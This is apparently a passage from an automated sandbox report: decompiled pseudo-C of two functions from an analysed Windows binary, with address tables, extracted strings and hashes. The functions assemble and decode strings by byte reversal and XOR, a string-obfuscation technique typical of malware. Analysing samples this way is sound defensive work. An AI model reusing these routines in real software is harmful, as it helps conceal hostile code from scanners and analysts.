				signed int _v170;
				signed int _v171;
				signed int _v172;
				signed int _v173;
				signed int _v174;
				signed int _v175;
				signed int _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				signed int _v184;
				signed int _v185;
				signed int _v186;
				signed int _v187;
				signed int _v188;
				signed int _v189;
				signed int _v190;
				signed int _v191;
				signed int _v192;
				signed int* _v196;
				signed char* _v200;
				intOrPtr _v204;
				signed int* _v208;
				char* _v212;
				char* _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				char* _v228;
				char* _v232;
				char* _v236;
				intOrPtr _v240;
				signed int* _v244;
				intOrPtr _v248;
				char _v249;
				intOrPtr _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				intOrPtr _v260;
				char _v264;
				intOrPtr _t281;
				char* _t284;
				signed int* _t286;
				void* _t287;
				void* _t294;
				char _t309;
				void* _t321;
				signed int _t328;
				char _t332;
				void* _t343;
				intOrPtr _t387;
				void* _t390;
				void* _t392;
				void* _t393;
				void* _t394;
				intOrPtr _t396;
				void* _t398;

				_t398 =  &_v236;
				_t281 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t281;
				_v107 = 2;
				_v106 = 2;
				_v135 = 2;
				_push(9);
				_push( &_v112);
				_v112 = 0xed;
				_v111 = 0x68;
				_v110 = 0x9b;
				_v109 = 0x28;
				_v108 = 0x1e;
				_v105 = 0x48;
				_v104 = 0xd;
				_v140 = 0x6c;
				_v139 = 9;
				_v138 = 0x71;
				_v137 = 1;
				_v136 = 0x6d;
				_v134 = 0x70;
				_v133 = 0x15;
				_v132 = 0x67;
				_t284 = E00404720( &_v140);
				_push(9);
				_v232 = _t284;
				_push( &_v24);
				_v24 = 0xc1;
				_v23 = 0x6a;
				_v22 = 0x1d;
				_v21 = 4;
				_v20 = 0x88;
				_v19 = 0x6c;
				_v18 = 0x4b;
				_v17 = 0xba;
				_v16 = 0x88;
				_v148 = 0x33;
				_v147 = 0x5d;
				_v146 = 0x32;
				_v145 = 0x56;
				_v144 = 0x65;
				_v143 = 0x57;
				_v142 = 0x3c;
				_v141 = 0x4e;
				_v140 = 0x20;
				_t286 = E00404720( &_v148);
				_v163 = 0x15;
				_t328 = 0;
				_v244 = _t286;
				_v164 = 0xd6;
				_v162 = 0x10;
				_v161 = 0x15;
				_v160 = 0x4c;
				_v159 = 0xc6;
				_v158 = 0x55;
				_v157 = 4;
				_t287 = 0;
				_t390 = 7;
				do {
					_t332 =  *((intOrPtr*)(_t398 + _t287 + 0x60));
					 *((char*)(_t398 + _t287 + 0x60)) =  *((intOrPtr*)(_t398 + _t390 + 0x60));
					_t287 = _t287 + 1;
					 *((char*)(_t398 + _t390 + 0x60)) = _t332;
					_t390 = _t390 - 1;
				} while (_t287 < _t390);
				_v155 = _v163 ^ 0x00000023;
				_v156 = _v164 ^ 0x00000065;
				_v152 = _v160 ^ 0x0000006e;
				_v153 = _v161 ^ 0x00000025;
				_v154 = _v162 ^ 0x000000a1;
				_v149 = _v157 ^ 0x000000d6;
				_v150 = _v158 ^ 0x00000061;
				_v151 = _v159 ^ 0x00000075;
				_v92 = 0x61;
				_v91 = 0x76;
				_v90 = 0x67;
				_v89 = 0x75;
				_v88 = 0x70;
				_v87 = 0x73;
				_v86 = 0x76;
				_v85 = 0x63;
				_v84 = 0x15;
				_v164 = 0x6b;
				_v163 = 0x61;
				_v162 = 0x76;
				_v161 = 0x73;
				_v160 = 0x76;
				_v159 = 0x63;
				_v158 = 0x15;
				_v176 = 0xd7;
				_v175 = 0x9a;
				_v174 = 0xc1;
				_v173 = 0x7f;
				_v172 = 0xc1;
				_v171 = 0xa5;
				_v170 = 0xbd;
				_v169 = 0xc8;
				_v168 = 0x48;
				_t294 = 0;
				_push(_t390);
				_t392 = 8;
				do {
					_v249 =  *((intOrPtr*)(_t398 + _t294 + 0x54));
					 *((char*)(_t398 + _t294 + 0x54)) =  *((intOrPtr*)(_t398 + _t392 + 0x54));
					_t294 = _t294 + 1;
					 *((char*)(_t398 + _t392 + 0x54)) = _v249;
					_t392 = _t392 - 1;
				} while (_t294 < _t392);
				_v44 = _v176 ^ 0x0000003d;
				_v42 = _v174 ^ 0x000000da;
				_v43 = _v175 ^ 0x000000b8;
				_v40 = _v172 ^ 0x000000a0;
				_v41 = _v173 ^ 0x000000d7;
				_v38 = _v170 ^ 0x000000a4;
				_v39 = _v171 ^ 0x0000001b;
				_v104 = 0x73;
				_push(9);
				_v36 = _v168 ^ 0x000000d7;
				_push( &_v68);
				_v37 = _v169 ^ 0x000000e8;
				 *0x431c83 = 0x6c;
				_v116 = 0x64;
				_v115 = 0x72;
				_v114 = 0x77;
				_v113 = 0x65;
				_v112 = 0x62;
				_v111 = 0x75;
				_v110 = 0x70;
				_v109 = 0x77;
				_v108 = 0x15;
				_v103 = 0x70;
				_v102 = 0x69;
				_v101 = 0x64;
				_v100 = 0x65;
				_v99 = 0x72;
				_v98 = 0x6d;
				_v97 = 0x6c;
				_v96 = 0x15;
				_v68 = 0x15;
				_v67 = 0x6d;
				_v66 = 6;
				_v65 = 6;
				_v64 = 0x34;
				_v63 = 0xa9;
				_v62 = 0x5f;
				_v61 = 3;
				_v60 = 0x7d;
				_v176 = 0xde;
				_v175 = 0xbf;
				_v174 = 0xca;
				_v173 = 0xbe;
				_v172 = 0xd1;
				_v171 = 0xb5;
				_v170 = 0xda;
				_v169 = 0xad;
				_v168 = 0xc3;
				_push(E00404720( &_v176));
				_pop(_t387);
				_v256 = 0x6b;
				_v255 = 0x61;
				_v254 = 0x76;
				_v253 = 0x15;
				_v88 = 0x6d;
				_v87 = 0x63;
				_v86 = 0x75;
				_v85 = 0x70;
				_push(8);
				_push( &_v144);
				_v84 = 0x64;
				_v83 = 0x61;
				_v82 = 0x74;
				_v81 = 0x65;
				_v80 = 0x15;
				_v152 = 0x74;
				_v151 = 0x62;
				_v150 = 0x6d;
				_v149 = 0x6f;
				_v148 = 0x6e;
				_v147 = 0x15;
				_v144 = 0x6e;
				_v143 = 0x6a;
				_v142 = 0x52;
				_v141 = 0xa9;
				_v140 = 0xd7;
				_v139 = 0xd9;
				_v138 = 0xe8;
				_v137 = 0x17;
				_v184 = 0x11;
				_v183 = 0x66;
				_v182 = 0x13;
				_v181 = 0x72;
				_v180 = 7;
				_v179 = 0x64;
				_v178 = 8;
				_v177 = 0x7c;
				_t396 = E00404720( &_v184);
				_v192 = 0x69;
				_v191 = 0xc3;
				_v190 = 0xd5;
				_v189 = 0x26;
				_v188 = 0xb9;
				_v187 = 0x12;
				_v186 = 0xca;
				_v185 = 0xbd;
				_v184 = 0x83;
				_t343 = 0;
				_t393 = 8;
				_t394 = _t393;
				do {
					_t309 =  *((intOrPtr*)(_t398 + _t343 + 0x5c));
					 *((char*)(_t398 + _t343 + 0x5c)) =  *((intOrPtr*)(_t398 + _t394 + 0x5c));
					_t343 = _t343 + 1;
					 *((char*)(_t398 + _t394 + 0x5c)) = _t309;
					_t394 = _t394 - 1;
				} while (_t343 < _t394);
				_v72 = _v192 ^ 0x000000f4;
				_v71 = _v191 ^ 0x000000c8;
				_v70 = _v190 ^ 0x000000ab;
				_v69 = _v189 ^ 0x00000067;
				_v68 = _v188 ^ 0x000000da;
				_v67 = _v187 ^ 0x0000004a;
				_v66 = _v186 ^ 0x000000a1;
				_v65 = _v185 ^ 0x000000f2;
				_v64 = _v184 ^ 0x00000069;
				_v252 = _v256;
				_t243 =  &_v108; // 0x65
				_v248 = _v260;
				_v244 =  &_v172;
				_v240 = _t243;
				_v236 =  &_v180;
				_v232 =  &_v60;
				_v228 =  &_v132;
				_t253 =  &_v120; // 0x62
				_v224 = _t253;
				_v220 = _t387;
				_v216 =  &_v264;
				_v212 =  &_v96;
				_v204 = _t396;
				 *0x431c83 = 0x6c;
				_v192 = 0x77;
				_v191 = 0x75;
				_v190 = 0x70;
				_v189 = 0x64;
				_v188 = 0x6d;
				_v187 = 0x67;
				_v186 = 0x72;
				_v185 = 0;
				_v208 =  &_v160;
				_v200 =  &_v72;
				_v196 =  &_v192;
				while(1) {
					_t321 = E00425320(_v28,  *((intOrPtr*)(_t398 + 0x18 + _t328 * 4)));
					_t398 = _t398 + 8;
					_t322 = _t321;
					if(_t321 != 0) {
						break;
					}
					_t328 = _t328 + 1;
					if(_t328 < 0xf) {
						continue;
					} else {
						return E00424873(_t322, _v36);
					}
					L11:
				}
				return E00424873(1, _v36);
				goto L11;
			}

0x00404990
0x00404996
0x0040499c
0x004049a6
0x004049ad
0x004049b4
0x004049b8
0x004049c3
0x004049c8
0x004049d0
0x004049d8
0x004049e0
0x004049e8
0x004049f0
0x004049f8
0x00404a00
0x00404a05
0x00404a0a
0x00404a0f
0x00404a14
0x00404a19
0x00404a1e
0x00404a22
0x00404a27
0x00404a2c
0x00404a35
0x00404a3b
0x00404a40
0x00404a48
0x00404a50
0x00404a58
0x00404a60
0x00404a67
0x00404a6f
0x00404a77
0x00404a7f
0x00404a86
0x00404a8b
0x00404a90
0x00404a95
0x00404a9a
0x00404a9f
0x00404aa4
0x00404aa9
0x00404aae
0x00404ab3
0x00404ab8
0x00404abc
0x00404abe
0x00404ac2
0x00404ac7
0x00404acc
0x00404ad0
0x00404ad5
0x00404ada
0x00404adf
0x00404ae4
0x00404ae8
0x00404af0
0x00404af4
0x00404af8
0x00404afc
0x00404afd
0x00404b01
0x00404b02
0x00404b17
0x00404b1f
0x00404b2f
0x00404b37
0x00404b42
0x00404b4f
0x00404b55
0x00404b59
0x00404b5d
0x00404b65
0x00404b6d
0x00404b75
0x00404b7d
0x00404b85
0x00404b8c
0x00404b94
0x00404b9c
0x00404ba3
0x00404ba8
0x00404bad
0x00404bb2
0x00404bb6
0x00404bbb
0x00404bc0
0x00404bc4
0x00404bc9
0x00404bce
0x00404bd3
0x00404bd8
0x00404bdd
0x00404be2
0x00404be7
0x00404bec
0x00404bf1
0x00404bf3
0x00404bf7
0x00404c00
0x00404c04
0x00404c0c
0x00404c14
0x00404c15
0x00404c19
0x00404c1a
0x00404c28
0x00404c35
0x00404c43
0x00404c50
0x00404c5e
0x00404c6c
0x00404c7b
0x00404c88
0x00404c8f
0x00404c98
0x00404ca4
0x00404ca9
0x00404cb0
0x00404cb7
0x00404cbf
0x00404cc7
0x00404ccf
0x00404cd7
0x00404cdf
0x00404ce7
0x00404cef
0x00404cf7
0x00404cfe
0x00404d06
0x00404d0e
0x00404d16
0x00404d1e
0x00404d26
0x00404d2e
0x00404d36
0x00404d3d
0x00404d44
0x00404d4c
0x00404d53
0x00404d5a
0x00404d62
0x00404d6a
0x00404d72
0x00404d7a
0x00404d82
0x00404d87
0x00404d8c
0x00404d91
0x00404d96
0x00404d9b
0x00404da0
0x00404da5
0x00404daa
0x00404db4
0x00404db5
0x00404db6
0x00404dbb
0x00404dc0
0x00404dc5
0x00404dc9
0x00404dd1
0x00404dd9
0x00404de1
0x00404deb
0x00404df4
0x00404df9
0x00404e01
0x00404e09
0x00404e10
0x00404e18
0x00404e1f
0x00404e26
0x00404e2e
0x00404e36
0x00404e3e
0x00404e46
0x00404e4d
0x00404e55
0x00404e5d
0x00404e65
0x00404e6d
0x00404e75
0x00404e7d
0x00404e85
0x00404e8d
0x00404e92
0x00404e97
0x00404e9c
0x00404ea1
0x00404ea6
0x00404eab
0x00404eb0
0x00404eba
0x00404ebc
0x00404ec1
0x00404ec6
0x00404ecb
0x00404ed0
0x00404ed5
0x00404eda
0x00404edf
0x00404ee4
0x00404ee9
0x00404eed
0x00404eef
0x00404ef0
0x00404ef4
0x00404ef8
0x00404efc
0x00404efd
0x00404f01
0x00404f02
0x00404f17
0x00404f25
0x00404f32
0x00404f40
0x00404f4e
0x00404f5b
0x00404f69
0x00404f77
0x00404f82
0x00404f89
0x00404f91
0x00404f98
0x00404f9c
0x00404fa0
0x00404fb6
0x00404fba
0x00404fbe
0x00404fc2
0x00404fd4
0x00404fd8
0x00404fdc
0x00404fe0
0x00404ff4
0x00404ff8
0x00404fff
0x00405004
0x00405009
0x0040500e
0x00405013
0x00405018
0x0040501d
0x00405022
0x00405026
0x0040502a
0x0040502e
0x00405033
0x00405040
0x00405045
0x00405048
0x0040504a
0x00000000
0x00000000
0x0040504c
0x00405050
0x00000000
0x00405054
0x00405066
0x00405066
0x00000000
0x00405050
0x00405080
0x00000000

Strings

r, xrefs: 00404E9C
], xrefs: 00404A8B
d, xrefs: 0040500E
n, xrefs: 00404E3E
i, xrefs: 00404D06
4, xrefs: 00404D5A
w, xrefs: 00404FFF
f, xrefs: 00404E92
u, xrefs: 00404B75
K, xrefs: 00404A6F
e, xrefs: 00404A9A
j, xrefs: 00404E55
3, xrefs: 00404A86
n, xrefs: 00404E4D
&, xrefs: 00404ECB
N, xrefs: 00404AA9
v, xrefs: 00404BB6
g, xrefs: 00404B6D
g, xrefs: 00405018
d, xrefs: 00404CB7
2, xrefs: 00404A90
R, xrefs: 00404E5D
H, xrefs: 004049F0
d, xrefs: 00404DF9
<, xrefs: 00404AA4
k, xrefs: 00404DB6
(, xrefs: 004049E0
w, xrefs: 00404CC7
l, xrefs: 00404A67
o, xrefs: 00404E36
, xrefs: 00404AAE
bewrd, xrefs: 00404FC2
e, xrefs: 00404CCF
a, xrefs: 00404E01
m, xrefs: 00404E2E
}, xrefs: 00404D7A
W, xrefs: 00404A9F
m, xrefs: 00404D44
p, xrefs: 00405009
a, xrefs: 00404DBB
|, xrefs: 00404EB0
m, xrefs: 00405013
p, xrefs: 00404B7D
j, xrefs: 00404A48
e, xrefs: 00404E10
r, xrefs: 00404CBF
u, xrefs: 00405004
b, xrefs: 00404E26
edippugvawpubewrd, xrefs: 00404F91
U, xrefs: 00404ADA
d, xrefs: 00404EA6
k, xrefs: 00404BA3
p, xrefs: 00404CFE
_, xrefs: 00404D6A
d, xrefs: 00404D0E
v, xrefs: 00404B65
V, xrefs: 00404A95
v, xrefs: 00404DC0
v, xrefs: 00404BAD
r, xrefs: 0040501D
a, xrefs: 00404BA8

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $&$($2$3$4$<$H$K$N$R$U$V$W$]$_$a$a$a$b$bewrd$d$d$d$d$d$e$e$e$edippugvawpubewrd$f$g$g$i$j$j$k$k$l$m$m$m$n$n$o$p$p$p$r$r$r$u$u$v$v$v$v$w$w$|$}
API String ID: 0-3024838208
Opcode ID: dbf40d4b3eb2946addf84b32e26b7b08ef1fb6446ae1404649f1322131ef2e55
Instruction ID: 68ed38322b00444a690e94fc03535dc3a3c8f782391cc7e43bc1e49315d61272
Opcode Fuzzy Hash: dbf40d4b3eb2946addf84b32e26b7b08ef1fb6446ae1404649f1322131ef2e55
Instruction Fuzzy Hash: FA22CF2010D7C18DE3228678945479FFFD15BA7718F484A9EE1E84A393D2BA8109CB77

Uniqueness

Uniqueness Score: -1.00%

Function 004108D0, Relevance: 70.4, Strings: 56, Instructions: 365
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E004108D0() {
				intOrPtr _v4;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				signed char _v53;
				signed char _v54;
				signed char _v55;
				signed char _v56;
				signed char _v57;
				signed char _v58;
				signed char _v59;
				signed char _v60;
				signed char _v63;
				signed char _v64;
				signed char _v65;
				signed char _v66;
				signed char _v67;
				signed char _v68;
				signed char _v72;
				signed char _v73;
				signed char _v74;
				signed char _v75;
				signed char _v76;
				char _v84;
				char _v92;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				signed int _v117;
				signed int _v118;
				signed int _v119;
				signed int _v120;
				char _v121;
				char _v122;
				signed int _v123;
				signed int _v124;
				char _v125;
				char _v126;
				signed int _v127;
				signed int _v128;
				signed int _v129;
				signed int _v130;
				signed int _v131;
				signed int _v132;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char* _v160;
				char* _v164;
				intOrPtr _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char* _v184;
				char* _v188;
				char* _v192;
				intOrPtr _t281;
				void* _t282;
				void* _t287;
				void* _t294;
				void* _t306;
				void* _t307;
				intOrPtr _t309;
				signed int _t311;
				intOrPtr* _t313;
				void* _t324;
				void* _t329;
				void* _t334;
				char _t343;
				signed int _t349;
				intOrPtr _t350;
				char _t353;
				char _t356;
				char _t363;
				char _t369;
				intOrPtr _t379;
				intOrPtr _t381;
				void* _t383;
				void* _t384;

				_t384 =  &_v168;
				_t281 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t281;
				_v132 = 0x48;
				_v131 = 0x9c;
				_v130 = 0xf5;
				_v129 = 0x49;
				_v128 = 0xc2;
				_t282 = 0;
				_t324 = 4;
				do {
					_t353 =  *((intOrPtr*)(_t384 + _t282 + 0x30));
					 *((char*)(_t384 + _t282 + 0x30)) =  *((intOrPtr*)(_t384 + _t324 + 0x30));
					_t282 = _t282 + 1;
					 *((char*)(_t384 + _t324 + 0x30)) = _t353;
					_t324 = _t324 - 1;
				} while (_t282 < _t324);
				_v76 = _v132 ^ 0x000000b6;
				_v75 = _v131 ^ 0x0000002c;
				_v73 = _v129 ^ 0x000000e8;
				_v72 = _v128 ^ 0x00000048;
				_v74 = _v130 ^ 0x00000086;
				_v124 = 0xe9;
				_v123 = 0x4f;
				_v122 = 0x7b;
				_v121 = 0x5b;
				_v120 = 0x45;
				_v119 = 0x6d;
				_v118 = 0x70;
				_v117 = 0xcc;
				_t287 = 0;
				_t329 = 7;
				do {
					_t356 =  *((intOrPtr*)(_t384 + _t287 + 0x38));
					 *((char*)(_t384 + _t287 + 0x38)) =  *((intOrPtr*)(_t384 + _t329 + 0x38));
					_t287 = _t287 + 1;
					 *((char*)(_t384 + _t329 + 0x38)) = _t356;
					_t329 = _t329 - 1;
				} while (_t287 < _t329);
				_t43 =  &_v122; // 0x7b
				_v59 = _v123 ^ 0x00000019;
				_v60 = _v124 ^ 0x000000bc;
				_t47 =  &_v121; // 0x5b
				_v58 =  *_t43 ^ 0x0000000e;
				_v56 = _v120 ^ 0x0000002e;
				_v57 =  *_t47 ^ 0x00000031;
				_v55 = _v119 ^ 0x00000009;
				_v53 = _v117 ^ 0x000000e9;
				_v54 = _v118 ^ 0x0000002a;
				_v132 = 0x13;
				_v131 = 0x80;
				_v130 = 0xd4;
				_v129 = 0x84;
				_v128 = 0x46;
				_v127 = 0xa1;
				_t294 = 0;
				_t334 = 5;
				do {
					_t363 =  *((intOrPtr*)(_t384 + _t294 + 0x30));
					 *((char*)(_t384 + _t294 + 0x30)) =  *((intOrPtr*)(_t384 + _t334 + 0x30));
					_t294 = _t294 + 1;
					 *((char*)(_t384 + _t334 + 0x30)) = _t363;
					_t334 = _t334 - 1;
				} while (_t294 < _t334);
				_v66 = _v130 ^ 0x000000e8;
				_v68 = _v132 ^ 0x000000c9;
				_v63 = _v127 ^ 0x00000013;
				_v67 = _v131 ^ 0x00000023;
				_v65 = _v129 ^ 0x000000b8;
				_push(0x15);
				_v43 = 4;
				_v107 = 4;
				_push( &_v52);
				_v64 = _v128 ^ 0x000000ef;
				 *0x431c89 = 0x19;
				_v52 = 0x15;
				_v51 = 0x5b;
				_v50 = 0x4e;
				_v49 = 0xb8;
				_v48 = 0x25;
				_v47 = 0x36;
				_v46 = 0xbd;
				_v45 = 0xf0;
				_v44 = 0x42;
				_v42 = 0x81;
				_v41 = 0x58;
				_v40 = 0x60;
				_v39 = 0xea;
				_v38 = 0xd6;
				_v37 = 0x4c;
				_v36 = 0xeb;
				_v35 = 0x4b;
				_v34 = 0xed;
				_v33 = 0x96;
				_v32 = 0xae;
				_v116 = 0x29;
				_v115 = 0x64;
				_v114 = 5;
				_v113 = 0x6c;
				_v112 = 0;
				_v111 = 0x20;
				_v110 = 0x64;
				_v109 = 1;
				_v108 = 0x6d;
				_v106 = 0x72;
				_v105 = 0x17;
				_v104 = 0x65;
				_v103 = 0x1c;
				_v102 = 0x3c;
				_v101 = 0x6f;
				_v100 = 0x16;
				_v99 = 0x65;
				_v98 = 0x11;
				_v97 = 0x74;
				_v96 = 0x19;
				_push(E0040D980( &_v116));
				_pop(_t381);
				_v36 = 0x78;
				_v35 = 0x8e;
				_v34 = 0x63;
				_v33 = 0xf8;
				_v32 = 0x41;
				_v31 = 0xc4;
				_v30 = 0x77;
				_v29 = 0xec;
				_v28 = 0xc6;
				_v27 = 0x36;
				_v17 = 0xc6;
				_push(0x18);
				_t138 =  &_v36; // 0x41
				_v19 = 0x90;
				_v111 = 0x90;
				_v26 = 0xb7;
				_v25 = 0x30;
				_v24 = 0xb3;
				_v23 = 0x6c;
				_v22 = 0xa5;
				_v21 = 0x11;
				_v20 = 0x6f;
				_v18 = 0x73;
				_v16 = 0x20;
				_v15 = 0xf3;
				_v14 = 0x9b;
				_v13 = 0xbd;
				_v124 = 0xb5;
				_v123 = 0xf8;
				_v122 = 0x99;
				_v121 = 0xf0;
				_v120 = 0x9c;
				_v119 = 0xbc;
				_v118 = 0xe8;
				_v117 = 0x9a;
				_v116 = 0xfb;
				_v115 = 0x95;
				_v114 = 0xe6;
				_v113 = 0x87;
				_v112 = 0xe4;
				_v110 = 0xf9;
				_v109 = 0x96;
				_v108 = 0xf8;
				_v107 = 0xd8;
				_v106 = 0x9e;
				_v105 = 0xff;
				_v104 = 0x96;
				_v103 = 0xfa;
				_v102 = 0x9f;
				_v101 = 0xfb;
				_push(E0040D980( &_v124));
				_pop(_t379);
				_t343 = 0xd;
				_v119 = 0x35;
				_v108 = 0x35;
				_v132 = 0x2b;
				_v131 = 0x63;
				_v130 = 0x54;
				_v129 = 0xbc;
				_v128 = 0x6d;
				_v127 = 0x21;
				_v126 = 0xf4;
				_v125 = 0x2a;
				_v124 = 0x3c;
				_v123 = 0xd7;
				_v122 = 0x97;
				_v121 = 0xbf;
				_v120 = 0x79;
				_v107 = _t343;
				_v106 = 0xcd;
				_v105 = 0xf8;
				_v104 = 0xa7;
				_v103 = 0x59;
				_v102 = 0x78;
				_v101 = 0xd4;
				_v100 = 0x53;
				_v99 = 8;
				_v98 = 0xca;
				_v97 = 0x26;
				_v96 = 6;
				_v95 = 0x78;
				_t306 = 0;
				do {
					_t369 =  *((intOrPtr*)(_t384 + _t306 + 0x58));
					 *((char*)(_t384 + _t306 + 0x58)) =  *((intOrPtr*)(_t384 + _t343 + 0x58));
					_t306 = _t306 + 1;
					 *((char*)(_t384 + _t343 + 0x58)) = _t369;
					_t343 = _t343 - 1;
				} while (_t306 < _t343);
				_t307 = 0;
				 *0x431c89 = 0x19;
				do {
					 *(_t384 + _t307 + 0x40) =  *(_t384 + _t307 + 0x40) ^  *(_t384 + _t307 + 0x58);
					 *(_t384 + _t307 + 0x41) =  *(_t384 + _t307 + 0x41) ^  *(_t384 + _t307 + 0x59);
					_t307 = _t307 + 2;
				} while (_t307 < 0xe);
				_push(7);
				_push( &_v140);
				_v140 = 0x31;
				_v139 = 0x19;
				_v138 = 0x41;
				_v137 = 0xcf;
				_v136 = 0x52;
				_v135 = 0x3b;
				_v134 = 0xf5;
				_v148 = 0xf1;
				_v147 = 0xa2;
				_v146 = 0xd6;
				_v145 = 0xb7;
				_v144 = 0xc3;
				_v143 = 0xb6;
				_v142 = 0xc5;
				_t309 = E0040D980( &_v148);
				_v192 =  &_v100;
				_v188 =  &_v84;
				_v184 =  &_v92;
				_v168 = _t309;
				_v156 = 0x45;
				_v155 = 0x72;
				_v154 = 0x72;
				_v153 = 0x6f;
				_v152 = 0x72;
				_v151 = 0;
				_v116 = 0x47;
				_v115 = 0x6f;
				_v114 = 0x6f;
				_v113 = 0x64;
				_v112 = 0x20;
				_v111 = 0x64;
				_v110 = 0x61;
				_v109 = 0x79;
				_v108 = 0;
				_v180 = _t381;
				_v176 = _t379;
				_v172 =  &_v140;
				_v164 =  &_v156;
				_v160 =  &_v116;
				_t311 = E0040C1D0( &_v140);
				_push(_t381);
				_t349 = 9;
				_t377 =  *((intOrPtr*)(_t384 + 0xc + _t311 % _t349 * 4));
				_t313 =  *((intOrPtr*)(_t384 + 0xc + _t311 % _t349 * 4));
				_t383 = _t313 + 1;
				do {
					_t350 =  *_t313;
					_t313 = _t313 + 1;
				} while (_t350 != 0);
				return E00424873(E004028A0(_v20, _t377, _t313 - _t383), _v36);
			}

0x004108d0
0x004108d6
0x004108dd
0x004108e4
0x004108e9
0x004108ee
0x004108f3
0x004108f8
0x004108fd
0x00410903
0x00410910
0x00410914
0x00410918
0x0041091c
0x0041091d
0x00410921
0x00410922
0x00410937
0x0041093f
0x0041094f
0x00410953
0x00410957
0x0041095b
0x00410960
0x00410965
0x0041096a
0x0041096f
0x00410974
0x00410979
0x0041097e
0x00410983
0x00410989
0x00410990
0x00410994
0x00410998
0x0041099c
0x0041099d
0x004109a1
0x004109a2
0x004109ae
0x004109b7
0x004109bf
0x004109c3
0x004109cf
0x004109d7
0x004109df
0x004109ef
0x004109f3
0x004109f7
0x004109fb
0x00410a00
0x00410a05
0x00410a0a
0x00410a0f
0x00410a14
0x00410a19
0x00410a1f
0x00410a20
0x00410a24
0x00410a28
0x00410a2c
0x00410a2d
0x00410a31
0x00410a32
0x00410a47
0x00410a4f
0x00410a5f
0x00410a65
0x00410a6d
0x00410a71
0x00410a7a
0x00410a81
0x00410a8a
0x00410a8f
0x00410a93
0x00410a9a
0x00410aa2
0x00410aaa
0x00410ab2
0x00410aba
0x00410ac2
0x00410aca
0x00410ad2
0x00410ada
0x00410ae2
0x00410aea
0x00410af2
0x00410afa
0x00410b02
0x00410b0a
0x00410b12
0x00410b1a
0x00410b22
0x00410b2a
0x00410b32
0x00410b3a
0x00410b3f
0x00410b44
0x00410b49
0x00410b4e
0x00410b53
0x00410b58
0x00410b5d
0x00410b62
0x00410b67
0x00410b6c
0x00410b71
0x00410b75
0x00410b7a
0x00410b7f
0x00410b84
0x00410b89
0x00410b8d
0x00410b92
0x00410b97
0x00410ba1
0x00410ba2
0x00410ba7
0x00410baf
0x00410bb7
0x00410bbf
0x00410bc6
0x00410bce
0x00410bd6
0x00410bde
0x00410be6
0x00410bed
0x00410bf7
0x00410c00
0x00410c02
0x00410c09
0x00410c10
0x00410c19
0x00410c21
0x00410c29
0x00410c31
0x00410c39
0x00410c41
0x00410c49
0x00410c51
0x00410c59
0x00410c61
0x00410c69
0x00410c71
0x00410c79
0x00410c7e
0x00410c82
0x00410c87
0x00410c8c
0x00410c91
0x00410c96
0x00410c9b
0x00410ca0
0x00410ca4
0x00410ca9
0x00410cae
0x00410cb3
0x00410cb8
0x00410cbd
0x00410cc2
0x00410cc6
0x00410ccb
0x00410cd0
0x00410cd5
0x00410cda
0x00410cdf
0x00410ce4
0x00410ced
0x00410cee
0x00410cf5
0x00410cf6
0x00410cfa
0x00410cfe
0x00410d03
0x00410d08
0x00410d0d
0x00410d12
0x00410d17
0x00410d1c
0x00410d21
0x00410d26
0x00410d2b
0x00410d30
0x00410d35
0x00410d3a
0x00410d3f
0x00410d43
0x00410d48
0x00410d4c
0x00410d51
0x00410d56
0x00410d5b
0x00410d60
0x00410d65
0x00410d6a
0x00410d6f
0x00410d74
0x00410d79
0x00410d7e
0x00410d80
0x00410d84
0x00410d88
0x00410d8c
0x00410d8d
0x00410d91
0x00410d92
0x00410d96
0x00410d98
0x00410da0
0x00410dae
0x00410db8
0x00410dbc
0x00410dbf
0x00410dc4
0x00410dca
0x00410dcf
0x00410dd4
0x00410dd9
0x00410dde
0x00410de3
0x00410de8
0x00410ded
0x00410df2
0x00410df7
0x00410dfc
0x00410e01
0x00410e06
0x00410e0b
0x00410e10
0x00410e15
0x00410e1e
0x00410e2a
0x00410e2e
0x00410e32
0x00410e42
0x00410e47
0x00410e4c
0x00410e51
0x00410e56
0x00410e5b
0x00410e60
0x00410e65
0x00410e6a
0x00410e6f
0x00410e74
0x00410e79
0x00410e7e
0x00410e83
0x00410e88
0x00410e8d
0x00410e91
0x00410e95
0x00410e99
0x00410e9d
0x00410ea1
0x00410ea8
0x00410eac
0x00410eaf
0x00410eb3
0x00410eb5
0x00410eb8
0x00410eb8
